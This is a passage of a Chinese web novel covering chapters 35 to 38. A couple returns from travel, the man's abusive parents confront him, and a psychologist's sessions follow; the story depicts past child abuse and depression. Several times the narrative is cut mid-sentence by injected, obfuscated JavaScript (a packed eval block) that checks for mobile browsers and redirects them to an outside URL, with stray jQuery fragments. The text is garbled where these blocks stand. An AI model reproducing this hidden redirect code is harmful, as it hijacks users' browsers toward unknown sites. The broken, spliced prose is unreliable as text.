用一整个下午的时间藏在书店啃完一本薄薄的英文原著,书店老板是个表情冷淡的青年男人,在知道他们来自中国并且明天就将离开雷市后,送给他们一人一张书签。 简单的手绘线条书签的另一面写了一串英文: “?ettareddast” “这是我们的处世哲学。”书店老板的表情依然没什么波动,“意思是,一切都会好起来的。” 温让和高幸相视一笑,然后买下两张空白书签,一人题了一句中国的古话,作为给老板的回礼。 车到山前必有路,船到桥头自然直。 火山喷发,冰川暴雪,北欧人在极端的环境下生活,处处是危机。 所以他们有英灵殿,有世界树,有诸神黄昏。 离死亡太近就只能直面死亡。 那天下午,从书店走出来,高幸看着掌心的书签,沉默了很久很久。 书本里艰涩的字句成为了她眼前的世界。 “?ettareddast。” 她听到温让的声音,轻轻一笑,“?ettareddast。” 回哥本哈根的飞机上,高幸一直望着窗外,她发现自己的人生里难得有这样沉浸式旅行的日子,不用去想领导要的稿子什么时候交,活动策划还需不需要再改,不用去理会家里人碎碎叨叨的催婚,以及朋友圈里谁又结婚了要随份子,不用被社会逼着思考下一步要怎么走才稳妥。 闹钟关掉,消息屏蔽。 她只在意脚下踩着的土地,眼前的风景,和陪伴在侧的恋人。 起飞时,温让的手覆上她的。 “阿幸,这场旅程,开心吗?” “开心。”高幸看向他,“因为开心,所以免不了难过。” 他们都不知道下次再来会是什么时候,成年人总是有太多的现实要面对。 但好在,他们不再是孤身一人。 起落架升起,飞机驶离地面。 十指紧扣。 · 回到哥本哈根已是深夜,李家公寓的灯还亮着。 计程车停在社区外面,司机帮忙卸下后备箱的行李。 夜雪纷纷,路灯下飞扬似萤火,奔波的旅人和行李箱一同伫立。 高幸打了个呵欠,眼里瞬间充盈了泪水。 “困了?”温让淡淡笑着,目光在夜灯下更加柔和,“待会儿回去洗个热水澡,好好睡一觉。” “你不困吗?这几天你可没少干体力活。” “还行,这样看来,我的体力应该也不错?” 温让躬下身子,一副求表扬的模样。 高幸抬起手,捧着他的脸,轻轻揉了揉,“小温好得很。” “那奖励一个吻?” 高幸环顾四周,打算趁没人的时候亲他一下,目光却突然停在了不远处,“温让,那边有两个人,在看我们。” 温让拉下她的手腕,转头看过去。 夜色深处,一男一女并肩而立,神情冷漠肃穆。 温让的脸色瞬间沉了下来。 他稍稍用力,把高幸拉到了自己身后。 “温让。”男人先开了口,“这就是你不顾一切,都要追的人?” 女人冷冷淡淡笑了声,“还玩这些小孩子把戏,温让,你差不多该长大了。” “学校的事我会帮你摆平,这次就算了。”男人说。 “你应该谢谢你爸爸,否则,你忙活这些年,连个硕士学位都拿不到。”女人说。 “后天回国的机票已经给你买好了,你这个女朋友如果要一起回去,我们也不会吝啬一张机票,但是回国后,我们希望你专心完成自己的学业,至于婚姻,我们会为你安排。” “温让,以后别闹这种事出来了,平白无故让人看笑话,你以前还是李听墨的榜样呢,现在看来,你还不如他。” 两人你一言我一语说个不停,根本不给温让留丝毫回答的机会。 最终却是高幸听不下去了,向前几步挡在温让和他们中间,“不好意思,请问你们是?” 华悦不太高兴地眯起双眼,“难道我们还要向你做自我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他冷淡地垂下眼,看尘埃一样看他的父亲,“滚。” 华悦从来没想到一直都乖巧听话的温让会变成这样,猛地拽住温让的胳膊,“你毫无孝道!” “你有?” 华悦被他的反问给噎住。 长街转角,温廉神色忧愁,长叹一声,“阿墨哥,你都看到了,我哥已经变成这样了,现在,你相信我说的话了吗?” 李听墨双手插兜,嘴里还嚼着口香糖,闻言,重新戴上耳机,满不在乎地应道,“和我有什么关系?” “我哥不能和她在一起的,这是为了她好。” “温廉。” “刚才我什么都没看见。”李听墨瞥了那步履蹒跚的男人一眼,“我只看见,你爸爸差点砸伤我朋友。” 温廉觉得荒唐,“这才几天,你就认她当朋友?我们十几年的感情也比不过?” “那倒不是,只是我最近想明白了一些事。”李听墨拍了拍温廉的肩膀,“你知道我前两天在收拾垃圾桶的时候,发现了什么吗?” “什么?” “温让的抗抑郁药。” “抑郁……这不可能。” “我也觉得不可能。”李听墨冷着一张脸,“所以我现在必须知道——” “你们家这些年都他吗的对温让做了什么。” 35. 他的雨天 「他的雨天」 暴力是解决不了任何问题的。 这是温善对温让说过最多的话。 “但有时候面对暴力分子,以暴制暴,可用来自保,或者用来保护自己需要保护的人。”温善接过小温让吃剩下的西瓜皮,递给他一张纸巾,“面对坏人,我们不必那么善良,记住了吗?小木头。” “爷爷我记住了。”小温让乖乖点头。 秋千晃晃悠悠,王嫣又送过来一盘刚切好的西瓜,“温让还小呢,你等他长大点儿再跟他讲这些大道理。” “小木头聪明,什么话都听得懂,倒是你这个老婆子,都说了让你把西瓜放那儿,我来切,你小心又伤着手。” “知道了知道了,啰里八嗦的。” “更何况天有不测风云,早点给小木头讲这些,万一哪天,咱俩不在他身边了……” “爷爷,不要说这样的话。”小温让紧锁着眉头打断温善。 王嫣用起了老茧的指尖摁了摁小温让的眉心,“小朋友不许皱眉头哦。” 说完,她又锤了温善的胳膊一下,“你也是,在孩子面前说这些干嘛。” “我的错,下次注意。” …… “在想什么?”高幸给温让受伤的手背涂了药,丢掉棉签。 “在想刚才是不是吓着你了。” “是有点儿。” 温让低垂着脑袋,方才还气势凌人,眼下却像只丧气小狗。 “不过不是因为你打人。”高幸歪着脑袋看他,“生气伤身体,我不想你为他们生气。” “我打了我父亲。” “我知道。” “我没控制自己的情绪。” “我知道。” “但是,阿幸,我不想为此道歉。” 高幸勾住他的脖子,“谁让你道歉了?” “不怪我冲动吗?” “温让,没有经历过你所经历的事,谁都没资格让你道歉。”高幸说,“而且,你本来也不是冲动的人,我为什么要因为两个第一次见面的人而怀疑我喜欢这么多年的男朋友?” 温让揽过她的腰,一把揉进怀里,低喃道,“阿幸,谢谢你。” 不需要他多说什么,光凭刚才温霖和华悦说的那些话,以及温让平静的质问,高幸都能体会到温家的氛围有多窒息。 “今晚一起睡吗?” “怎么?担心我?要给我讲睡前故事吗?” “可以啊,你想听什么?我去小笛房间拿故事书?” 温让搂着她一块儿躺下,扯过被子盖住。 “筒子楼见你那次,我刚从医院出来。” 高幸在他怀里找了个舒适的位置,抱住他的腰,“是去给手臂打石膏了吗?” “对,我的确是从楼梯摔了下来,摔断了手,只不过是被我爸推的。”温让说道,“除夕夜见你那次,是我逃出来的,他们把我关了禁闭,因为我考试成绩比以往低了五分。后来回到家,我爸又打断了我的腿。” 高幸大概猜到了温霖有暴力倾向,但她没想过会这么糟糕,不由得揪紧了男人胸前的衣衫。 “可以报警吗?”她问道。 “温家在警局人脉不少,就算报了警,温霖也不会受到任何惩罚。” “他反而会变本加厉地打你,是吗?” 温让沉默了会儿,“他会用温廉威胁我。” “你弟弟?那你妈妈……” “他不敢动华悦。”温让说,“而华悦,本质上也跟他是一样的人。” 冷漠,自私,高高在上的利己主义者,控制不了自己的人生就企图从控制别人中寻找快感。 高幸想明白了,这就是个死局,要么自己受伤害,要么就得看着亲人因自己受伤。她清楚温让的性子,他不会让任何人因为自己的事被牵连,否则,他也不会耗到现在才和高幸坦白。 她现在唯一想不通的是,为什么? “为什么他们要这样对自己的亲生孩子?而且我记得你说过你小时候是爷爷奶奶带大的,那温廉呢?是在父母身边长大的吗?” “嗯,温廉是他们带大的。” “那怎么会拿他来威胁你?他们真的下得去手吗?” “温廉头上有一块疤,十岁那年留下的。” 那就是温让14岁的时候。高幸心想。 温让被接回温家后,原本就不活泼的性子,越发沉默。 他可以正常地上下学,可以出色地完成学校功课,也可以在家里扮演起好儿子、好哥哥的角色。 老师、同学、同学家长、甚至来往并不密切的邻居都夸赞温让,听话乖巧又懂事,他们都想要这样的小孩。 但只有温让自己知道,他患了病。 维持着生命体征的并不是心跳和血液,而是那颗糖,那场雨,那个他迫切想要再见一面的女孩。 第一个看出温让有心理问题的,其实是华悦。华悦不会像寻常母亲一样,安慰他,开导他,她直接让老黄开车把温让送去了医院。 14岁,温让接受了人生中第一次心理治疗。 到现在他已经记不清医生的姓名模样,他只记得房间里难闻的消毒水味,时钟一直滴答滴答的声音,以及医生看向他时,漠然的眼神。 那样的眼神,他在温霖和华悦眼里也看到过。 对上眼神的那刻,温让明白了,华悦不是想救他,只是想在他身边都留下自己的影子。 他逃不掉的。 哪怕得了病,也逃不掉。 可他抗拒吃药,他不想变得跟温廉一样,去学校还得揣一盒药,偷偷摸摸躲在厕所里吃,生怕被同龄人发现。 抗拒了一次,温霖就把他叫去了书房。 他一进去,就看到背着手跪在地上的温廉。 他想起温善和王嫣以前带他去逛博物馆时,看到的那些石跪坐人像,王嫣说过,那些跪坐人像,基本都是古代用来陪葬或者祭祀的。 “温让,生病了就得吃药。”书房里烟雾缭绕,温霖才在这里结束了一场公司的跨国会议,最近项目有些停滞,他的烟抽了一根接一根也没想出好法子。 他需要发泄。 正好这时候,华悦告诉他,温让不吃药。 温让没有应温霖的话,走过去,握住温廉的胳膊,说道:“不要这样跪着。” 温霖的烟灰缸径直砸向了温廉的脑袋,即使温让伸手挡了下,但那坚硬的物件还是砸得温廉眼冒金星,刹那间痛哭流涕。 “父亲!”温让不可思议地撑住弟弟的身子,“这样会死人的。” “死就死了。”温霖厌恶地看着滴在地上的血,“赶紧抬去医院,晦气。” 温让不敢浪费时间,扛着温廉就走。 “温廉你记住,你这伤,是为温让受的,要怪就怪你这个张口闭口就是大好人做派的亲哥哥。” 温廉头上的伤养了大半个月,但还是留了疤,那道疤上始终长不出来头发。 “看到了吗?我头上这疤痕。”温廉拨开黑发,露出里面泛白的增生痕迹,像一条烙在头顶的蜈蚣,丑陋,扭曲,“温让照顾我这么多年,还不是因为他心中有愧。” 李听墨推开蕾娜递来的高脚杯,“谢了,今晚不喝。” “之前约你来我家,你不来,现在来就算了,还带个男人。”蕾娜吊带裙外面套了件卫衣,随意地坐在吧台上,晃着光/裸的腿。 “阿墨哥,你在这边过得很好吧。”温廉坐姿端正,说话也温言细语的。 蕾娜挑了挑眉,“你们慢慢聊,Li,我就在卧室。” “蕾娜,我上次已经跟你说得很清楚了。” 蕾娜翻了个白眼,拎着一瓶酒,扭着腰进屋了。 “温廉,这次因为你,我欠这女人一个人情,到时候我要是被吃干抹净了,这账全记你头上,还有——”李听墨按了按太阳穴,一脸苦恼,“你比我大,能别叫我哥了吗?” “是你自己说的,会把我当弟弟一样保护。” “小时候的玩笑话。” “看来我哥彻底把你拉向他那头了。” “温廉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177552|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我是不是从来没看清你啊?” 温廉定定地看着他,和以往一样无辜。 李听墨掏出手机,避开他的眼神。 高幸在半个钟头前给他发了消息,他简单回了句。 “我哥的女朋友,是什么样的人?” “你应该去问你哥。” “阿墨,别这样。” “那你就给我说清楚,你爸妈对温让做过什么。” “你为什么不亲自去问他?” 李听墨说不出话来,他只要一想起前段时间和温让的争执就头疼,在看到温让的药瓶后,更是愧疚得好几天晚上都没睡个整觉。 他给爸妈打过电话,询问过温家的情况,可是温廉跟华悦在朋友面前都挑不出错,他爸妈自然也不了解温让具体经历过什么。 李听墨倒是知道温家家规极其严苛,他也知道温让和温廉没少受罚,但小朋友挨骂挨打都很正常,他还被爸妈拿鸡毛掸子追着揍过,这不该是导致温让患上抑郁的原因。 让他毛骨悚然的是昨天夜里,他做过的一个梦。 李听墨清楚地意识到这个梦是真真切切发生过的,只是自身保护机制启动,被他选择性遗忘了。 那是温让高考完毕业的暑假,李听墨回国,温让来接他。 温让比起去年,长得更高了,也更瘦削,李听墨见到他的时候,他还戴着口罩,一副弱不经风的样子。 梦境突然转到温家别墅,他看到了温让缩在院子角落里,拿着锤子敲敲打打,正在做一把秋千。 他走过去,问温让,要不要他帮忙。 温让突然惊恐地把他扯到身后,用手蒙住了他的眼睛。 “做秋千是吧?我让你做秋千。” “你直接去地下见你爷爷好了,让他给你做。” 眼前的遮挡被挪开时,李听墨看见温霖把钉子,一颗颗钉进了温让的手臂。 从梦境惊醒后,他想起了当年的一切。 救护车的声音,温霖的警告声,温廉的请求声,最终掩盖了温让压抑到几不可闻的哭声,将这段记忆彻底埋葬。 “很疼吧。”高幸的手指抚过他小臂上的伤痕。 “应该是很疼,不过我好像忘了有多疼了。”温让搂她更紧,“没关系,还能抱住你就好。” “温让。” “在呢。” “是我太懦弱了。” “别这样说。” “我应该早些告诉你,我喜欢你,我喜欢的既是那个学习好人品好,什么事都能搞定,超级温柔强大的优秀学生温让,也是那个在雨里捡糖,和我一块儿看城市倒影,除夕夜外套都不穿冻得发僵也要替我挡住耳边鞭炮声的温让。”高幸的声音有些哽咽,“我也同样喜欢那个孤僻的,愤怒的,失控的,脆弱的,受了很多伤还一声不吭的温让。” “我不该因为担心你不喜欢我而后退,我应该用尽全力地奔向你,抱住你,很大声地告诉你,你没有错,是他们不好,你是最好最善良的温让。” 眼泪被颤抖的唇吻去。 十多年过去,两颗灵魂终于在黑夜拥住了彼此。 “你刚才问我,你哥的女朋友是什么样的人。”李听墨认真注视着温廉探寻的双眼,“我这么给你说吧。” “温叔叔,华阿姨,你,我,所有人都会因为温让突然变得古怪的举动而怀疑他,但是高幸不会。” “如果温让在经历一场暴雨,伞也被抢走,你觉得高幸会怎么做?” “送伞。”温廉说。 “她没那能力。” “陪温让淋雨。” “温让不舍得。” 在温廉不解的眼神中,李听墨突然想通了许多事。 “她会等他穿过风雨后,毫不介意地抱着他湿透的身子。” 李听墨疲累地靠在沙发上,眼前是温让血流不止的胳膊,耳边回荡着那晚在阳台,高幸苦笑着说出的话,她说自己不奢望拥有。 眼睛忽然有些酸胀,胀到想要掉泪。 “她尊重他的每个雨天。” 36. 胡不归 「胡不归」 温让很晚才睡着,高幸醒来后,尽可能减轻了自己的动静,没有吵醒他。 屋里的早餐没了存货,她准备去楼下买点儿,开门的时候,就看见了隔壁蕾娜家里走出来两人。 一个是李听墨,在他身旁的男子看上去比他年龄还要小,斯文中带着股青涩的稚嫩感。 “高幸,这是温让的亲弟弟,温廉。”李听墨似乎也没睡好,眼下青黑一片,嗓子又粗又哑。 温廉那张和温让有七分相似的脸上挂着人畜无害的笑,放轻了语气和高幸打招呼。 “你好,你和我哥的事,我都听说了。” “嗯,你好。”高幸很想打起精神来说些客套话,但她实在没心力了,“温让还在休息,麻烦你们先别打扰他。” “他情况怎么样?”李听墨问道。 “还行。”高幸说,“他爸妈呢?” “应该在酒店,我待会儿会送温廉过去。” “小笛呢?” “在休伯特那儿。”李听墨说,“今天我爸妈会回来,我会带着小笛去接机。” “行。”高幸避开温廉打量的眼神,“我去买早饭,你们要吗?” 温廉正准备说什么,却被李听墨打断,“不用了,买你跟温让的就行。” “好。” 虽说李听墨答应了不去打扰温让,但高幸还是放心不下,以最快的速度买完早餐,回到家,温让果然已经醒了,三个男人各坐沙发一方,气氛安静得可怕。 高幸一回来,就打破了诡异的气氛。 面对她,温让不再紧绷,也收起了面对危险时才会张开的刺。 两人在餐桌上吃着饭,温廉起身要走过来,被李听墨拽住了。 “今天想去哪儿玩?”温让把面包抹上酱,递过去。 “要不然就在附近逛逛?休息休息,不出远门。” “也行。” 高幸喝了口牛奶,“对了,奕岚说过几天想去法罗群岛,问我们要不要一起。” “法罗群岛确实也在我的计划中。”温让笑了笑,“有她在,我们倒是不必做攻略了。” 两人有一搭没一搭的聊着,悠闲自在,完全没把昨晚的插曲放在眼里。 温廉甩开李听墨的手,忽然有些急切,加重了语气说道:“哥,我和爸妈这次来不是要急着带你回去。” 温让收起了和煦的笑容,抬眼望过来。 “哥,奶奶出事了。” 端咖啡杯的手猛地颤了下。 高幸拿过温让手中的杯子,转过身问道:“我以为像这样的大事,你们见到温让第一眼就该告诉他。” 温廉微微皱起眉头,“不好意思,这是我们的家事。” “她有权利知道。”温让沉声道,“奶奶到底怎么了?” “前段时间我们联系不上你,她半夜在医院突然失控,要跳楼,被护士拦下来打了镇定剂。”温廉说,“之前她虽然认不出我们,但至少还会跟医生护士、其他病人聊聊天,但这次她醒来后到现在一句话也没说过,不吃饭不喝水,谁劝都没用,奶奶身子骨本来就不好,照这样下去……” 高幸担忧地看向温让。 “两天前,我给奶奶的主治医生发了消息,对方说奶奶一切都好。”温让淡淡道,“所以我该信谁?” “哥,我真没骗你,我们也是联系不上你,才专门飞过来的,但是爸爸确实跟主治医生私聊过,不排除他一开始想瞒着你,不让你担心,但现在奶奶的情况确实很不好,你可以再给医院那边打电话问问。” “温让哥。”李听墨说道,“我爸妈中午就到,你要是怀疑,我就让他们去跟你爸妈探探口风。” “不用了。”温让说完,拿出手机,打开了订票网站,“阿幸,和我一起走吗?” “嗯,我们一起。” “哥,你订什么时候的机票?” “温廉,我跟你说过,既然你选择了爸妈,就不要指望还能重新选择我。” “哥……无论如何你都是温家的人,爸爸说过家里的资产都会留给你的。” “我不需要。” “那你女朋友呢?她也不需要吗?你们俩如果结婚生子,难道不需要一大笔钱吗?哥我不明白你为什么跟钱过不去啊。” 高幸想反驳,温让在桌子下面轻轻按住她的手。 “因为脏。”温让说。 温廉愣住,他仿佛看到了那个穿着一身白衣给爷爷扶棺的少年。 温善的灵堂设置得很简单,前往葬礼上拜祭的也多是市里面公安局的人,王嫣患上疯病,被温霖关在医院,却是连灵堂都去不了。 温霖和华悦倒是去了,还带了一群生意上的朋友,连灵堂都成了他们的社交场所,吊唁也并不真诚。 温霖以儿子身份前去给温善扶棺,忽然被一只并不大的手给挡住。 那只手骨节分明,瘦而有力,但看得出来,明显是少年人的手。 当时温廉就站在温霖的身侧,诧异地看向温让。 “你不要碰爷爷的棺材。” 那是他和温让重逢后,听到这位亲哥哥说的第一句话。 “太脏了。” 少年的语气并不激烈,清冷平淡,却重重踩在了温霖的心上。 宾客在场,温霖要顾及他的人设,没有动怒,只是温和一笑,说道:“小让,我知道你这些年都跟着爷爷,脾气也随了他,硬得很,但是没关系,回到爸爸身边后,爸爸一定会好好教导你的。” 温让寸步不移,“扶棺的人,只能是我。” “温让。”温霖压低了声音警告他。 “只能是我。” 温让强硬地和温霖对视,少年漆黑的双眸里没有半分对他的畏惧,只有冷淡疏离,和藏起来的恨意。 温廉怕得发抖,他不敢想象葬礼结束后,温让会遭受怎样的惩罚。 温霖冷笑着退后了一步,看似妥协,“好,那就让你扶棺。” …… “哥,你还真是从未变过。”温廉低下头,“怪不得奶奶只会念叨你的名字。” 温让镇定地选好时间日期,完成付款后,手指还有些颤抖。 “不会有事的。”高幸拍了拍他的后背。 李听墨这时候接了个电话,脸色蓦地沉了下来,“好,给我二十分钟。” “阿墨,怎么了?”温廉有了一种不妙的预感。 “我爸妈骗了我,他们提前到了哥哈。”李听墨捞起车钥匙,加快步伐,“现在他们正在酒店和你爸妈对峙。” “什么?他们怎么会有矛盾?” “那就要问问你们爸妈,都干了些什么好事了。” 李听墨一走,温廉求助的眼神就投向了温让,“哥,我们要不要过去?” 温让喝完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188377|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咖啡,正慢条斯理地擦嘴,“出国前,温霖说过,以后不会再认我。” “他那是气话。” “我也说了,温家的事以后都与我无关。”温让起身收拾碗筷。 “你不想拿到博士学位了吗?你的事只有爸妈能摆平。” “不好意思,我不会做自己摆不平的事。” 温廉心下一慌,“可是……可是你这次来丹麦还是麻烦阿墨他们了,这都是妈妈提前打好招呼的。” 温让和高幸配合默契地收拾餐桌,没再理会他。 温廉看着他俩的背影,忽然想起昨晚李听墨说,高幸是小笛的中文老师,寄宿在李家。 而且,高幸比温让先一步来到李家。 他们的老家都是江城,念了同一所高中,大学也在同一条街。 温让学业出问题,引发了和温霖的矛盾,然后与温家决裂,只身来到丹麦…… 线索一条条罗列出来,温廉有了一个可怕的想法。 “哥,你这盘棋,打算怎么收手?” 温让擦干手掌,“哪来的棋?” “你早就预料到现在会发生的事,你从来都没冲动过。”温廉步步接近他,“你费这些心思到底是为了什么?明明有一条光明坦途任你走。” “这个世界上,总是死一些不该死的人。” 温廉止住脚步。 “所以,我只是想救一个人。” · 中国,申城第一人民医院。 冬日午后透进来几缕寡淡的阳光,关容清和穿着白大褂的女医生穿过走廊。 窗户不知被谁开了一条缝,刺骨的风钻了进来,关容清顺手关紧。 女医生翻看着手里的访谈记录,漫不经心地问:“你的互救实验进展如何?” “一切顺利。” “所以实验开始前,他们都不知道对方经历过的事?” “那是自然,我们得保护来访者的隐私。” “看来你这个案例又要被夸了,提前恭喜一下。” “谢了,不过对我而言,他们可不是什么案例。” 关容清的目光投向窗外遥远的群山,手中的来访者资料被风吹得翻飞。 手机屏幕亮了,她低头扫了眼消息,唇角不自觉地上扬。 “安雅。” “怎么?” “老师以前问我,一个人在不接受心理治疗的情况下,究竟怎样才能战胜心理疾病。”关容清深吸一口气,“事实证明我当时说的,没错。” 安雅愣了片刻,她记得面前这位在学术写作上有着极高天赋的师妹当时说的是—— 纯粹的爱能治愈一切。 老师立马否定了她的看法,“放弃你的理想主义,在目前这样物欲横流的世界不存在纯粹的爱,并且你也无法从理性角度界定纯粹二字。” 老师还举了不少案例反驳关容清,而关容清只是笑而不语,没有辩驳,温柔地接受了老师的教导。 安雅从她坦然的表情中明白了一切,“所以,师妹现在可以清晰地界定‘纯粹的爱’了,是吗?” 关容清收起笑意,沉默地垂下目光。 “我界定不了。” 来访者名单上,满满当当地记录着她接诊过的人。 其中,有两个名字被单独列了出来。 高幸和温让。 “但是他们可以。” 37. 来访者:温让 「来访者:温让」 关容清送走前一位来访者,目光缓缓移向坐在诊疗室外面长椅上的男人。 男人有一头剪得干脆利落的黑色短发,五官也同样干净,他的坐姿规矩又端正,背部没有靠上椅背,双手搭在膝盖上。 关容清想,在他成长过程中,应该有一位军人一样的长辈,指引过他。 他的鼻梁挺拔,又不过分笔直,双眼皮很浅,眼睛形状很漂亮,眼尾没有炸花,嘴唇不厚也不薄,这样的长相,要是让关容清那惯会识面的爹来看,保准一顿夸,然后贴上“好伴侣”的标签,让她照着这个模板找对象。 高幸是有品味的,她一直知道。 关容清走过去,男人也站起身,很有礼貌地和她打招呼,“关医生,你好,我叫温让。” 关容清替他打开门,笑容温和亲切,“不用叫我医生,叫我容清就好,我们进去说。” “谢谢。” 诊疗室布置得很温馨,和温让认知里的完全不同。 关容清捕捉到温让脸上一闪而过的诧异,拉开舒适的软椅,“请坐。” 墙纸是淡雅的米色,角落里摆着不同种类的绿植,清爽的香味在房间弥漫。 “你喜欢喝什么?我这儿有咖啡和茶,茶有绿茶、红茶、花茶,以及一些美容养颜茶。” 温让笑笑,“红茶,谢谢。” “红茶好,红茶不刺激,味道温和醇厚。”关容清一边泡茶一边说道,“比起其他的茶,不太会导致失眠。” 茶叶被热水冲开,一缕一缕在水中荡漾。 “我对茶叶的研究不多。”温让说。 “平时还有什么喜欢喝的吗?” “偶尔喝酒。” 关容清点点头,“我压力大的时候也会喝酒。” “方便问一下吗?心理医生一般都怎么调节压力呢?” “我们会有导师一对一定期疏解的。” “那还挺好的。”温让说。 “你一般喝什么酒?” “我不挑,自己也会调一些酒。” “有没有最讨厌的酒?” “白酒。” 温让是个实诚的来访者,关容清并不需要花太多功夫让他放松。 又或许,他从一开始就对她没有防备。 这点让关容清很意外。 她从高幸口中无数次听到温让的名字,但她和温让却几乎没有任何交集。看到助手发过来的来访者名单时,她还疑惑了片刻。 以为是同名的人,没想到还真是那位学神温让。 “讨厌白酒?看来你应该很少应酬?”关容清说,“中国的应酬酒局上,总是少不了白酒。” “嗯,没有应酬。” “你现在是上班族还是?” “我在读研。” 关容清早从高幸那儿知道他保送了硕博连读,也正是这一点,让高幸对他俩之间逐渐拉开的距离感到迷茫。 “你是什么专业呢?”她又问。 “物理学。” “听着就难,有压力也正常,那你的压力主要来自学业吗?” “学业……其实,不算难。” 他谦虚了。关容清心想。 本科就能独立一作发C刊的人,完全就是做学术的料。 “你的学习成绩应该一直都很好吧。” “还行。” “有想过未来做什么吗?” “念博,然后进研究所。” “很不错,你对自己的人生规划还挺清晰的。” “但计划总是赶不上变化。” “比如?” 温让没有直接回答,而是巧妙地引开了话题,“比如在计划中,我以为你会认出我,但目前看来,似乎没有。” 关容清心里把他这话翻来覆去琢磨,脸上还维持着云淡风轻的笑,“我认出你了,只不过,我以为你不知道我,所以没好意思认。” 温让笑笑,没说话。 “所以你是怎么认识我的?我很好奇,毕竟我在本科期间也没有很出色的成绩。” “你是高幸的好朋友。” 这是种很奇妙的感觉,从高中开始,高幸就给她说过,自己对一个叫温让的人很有好感,这份好感持续了三年又三年,直到现在,高幸还孤身一人,守着她内心开不了口的暗恋。 然而此时,闺蜜的暗恋对象就坐在自己面前,提了她的名字。 “你认识高幸?” “嗯。” “你们是什么关系?” “校友。” 高幸也是她的来访者,关容清自然不能透露半点她的隐私,闻言,她只是点点头,“原来如此,所以你才选了我?” “差不多。” “最近还喝酒吗?” “比较少。” “喝酒可以助眠吗?” “没什么用。” 所以是有失眠症状了。 关容清十指交叉,神色放松,没有以医生的姿态面对他,倒像是个多年未见的朋友。 “读研的作息会不会比较紊乱?” “看导师会不会半夜派活儿。” “昨晚派了?” “确实。” 关容清了然一笑,“我导师也爱晚上发消息,可能白天太忙了,你们白天需要做实验写文章吗?” “基本上都泡在实验室。”温让说。 “那社交时间会压缩吗?” “没有社交。” “为什么?” 关容清记得高幸说过,温让是一个和谁都能相处得很好的人。 “以前的朋友各自在忙。” “同门也不聚餐吗?” 听到“同门”二字,温让的眉头稍稍皱起来,很快又掩饰过去,“不聚餐。” 关容清找到了突破点,但没有追问,而是端起茶杯,抿了口,换了个角度切入,“那你每天都是一个人?” “嗯,习惯了。” 意思是,他没有恋人。 高幸还有机会。 “所以有压力的时候,都靠喝酒解决?” “也会出门走走,或者,骑车。” 关容清想起来了,他本科加了骑行队,“你喜欢骑行?” “还可以。” “那你喜欢旅行吗?” “我没怎么认真旅行过。” “认真?我可以理解为,你去过一些城市,但没怎么玩?” “差不多。” “为什么?” “因为,我只是过去看街舞比赛。” 他的眼里坦坦荡荡的,没什么遮掩,关容清话到了嘴边却顿住了,她是一名专业的心理医生,应该摒弃很多杂念,她明确知道温让不能被贴上“高幸的暗恋对象”这个标签,可他一说街舞,她就忍不住想到了高幸。 “你喜欢街舞?” “喜欢。” “学过吗?” “没有,我四肢不太协调。” 那就是尝试过。 “看比赛也是你缓解压力的方式之一?” “是。” 关容清琢磨着可以把话题引到他的心理问题上了,可是温让却反问了一句,“你喜欢街舞吗?” “喜欢啊。” “因为高幸?” “对。” 说完,关容清发现自己被他套进去了。 “那你看过她最新一场比赛吗?美国的那场。” 这下让关容清摸不清头脑了,高幸去美国参加比赛了吗?她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“关医生,我知道自己的症状,也知道自己得了什么病,更知道解决的方法是什么。”温让说,“但在她痊愈之前,我不可能好转。” 她。 关容清的手指摩挲着茶杯,她在思考时习惯性抠弄茶杯上的图案。 “她是谁?怎么了?”她决定伪装一下。 温让没有直接回答,而是把手机送到关容清面前。 关容清低头一看,屏幕上正在播放一个舞蹈视频,画面聚焦在高幸身上。 “你可以滑动屏幕,视频还有很多,都是看比赛时录制的,或者从网上下载的。”温让说。 关容清按照他说的,果然看到了很多高幸的舞蹈视频,其中还有她高中时候的表演,结合他方才的一些话,关容清震惊地抬起头,“你喜欢高幸?!” “是。” 他的眼神太真诚坦荡,关容清从中挑不出任何差错。 温让喜欢高幸。 温让知道高幸的病情。 温让是因为她是高幸的朋友才来这儿。 关容清的大脑飞速运转。 最终是温让的一个电话打断了她的思路。 “抱歉。” “没事,你先接。” 然而在这一通电话后,温让却得提前结束这次谈话。 走之前,他把杯子里剩余的茶叶倒进垃圾桶,说道,“关医生,你不用太考虑我的感受,有什么问题直接问就行了,虽然这样说显得我有些鲁莽了,但我希望可以快些取得你的信任。” 温让显然不是什么急性子。 “我可以知道为什么吗?” “时间不等人。”温让停在门边,回望过来的眼神透出一丝哀意。 “我想快一点,去到她身边。” 38. 来访者:高幸 「来访者:高幸」 关容清从小和高幸一块儿长大,但她也是到了初中才逐渐知道高幸家里的情况。 上小学时,关容清经常邀请高幸去她家玩儿,但是关容清却从来没去过高幸家。 